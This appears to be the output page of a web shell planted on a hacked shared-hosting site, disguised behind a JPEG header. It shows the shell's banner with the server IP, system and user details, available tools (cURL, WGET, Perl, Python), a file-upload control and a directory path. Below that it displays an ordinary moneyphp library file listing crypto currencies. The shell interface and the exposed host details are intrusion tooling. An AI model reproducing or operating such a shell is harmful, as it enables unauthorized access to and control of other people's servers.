����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.148.220.16 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/bofirm.gltechlimited.com/vendor/moneyphp/money/src/Currencies/ |
Upload File : |
<?php declare(strict_types=1); namespace Money\Currencies; use ArrayIterator; use Money\Currencies; use Money\Currency; use Money\Exception\UnknownCurrencyException; use RuntimeException; use Traversable; use function array_keys; use function array_map; use function is_file; /** * List of supported Crypto Currencies codes and names using Binance as resource. */ final class CryptoCurrencies implements Currencies { /** * Map of known currencies indexed by code. * * @psalm-var non-empty-array<non-empty-string, array{ * symbol: non-empty-string, * minorUnit: positive-int|0 * }>|null */ private static ?array $currencies = null; public function contains(Currency $currency): bool { return isset($this->getCurrencies()[$currency->getCode()]); } public function subunitFor(Currency $currency): int { if (! $this->contains($currency)) { throw new UnknownCurrencyException('Cannot find ISO currency ' . $currency->getCode()); } return $this->getCurrencies()[$currency->getCode()]['minorUnit']; } /** * @psalm-return Traversable<int, Currency> */ public function getIterator(): Traversable { return new ArrayIterator( array_map( static function ($code) { return new Currency($code); }, array_keys($this->getCurrencies()) ) ); } /** * Returns a map of known currencies indexed by code. * * @psalm-return non-empty-array<non-empty-string, array{ * symbol: non-empty-string, * minorUnit: positive-int|0 * }> */ private function getCurrencies(): array { if (self::$currencies === null) { self::$currencies = $this->loadCurrencies(); } return self::$currencies; } /** * @psalm-return non-empty-array<non-empty-string, array{ * symbol: non-empty-string, * minorUnit: positive-int|0 * }> * * @psalm-suppress MoreSpecificReturnType do not specify all keys and values */ private function loadCurrencies(): array { $file = __DIR__ . '/../../resources/binance.php'; if (is_file($file)) { /** @psalm-suppress LessSpecificReturnStatement */ return require $file; } throw new RuntimeException('Failed to load currency ISO codes.'); } }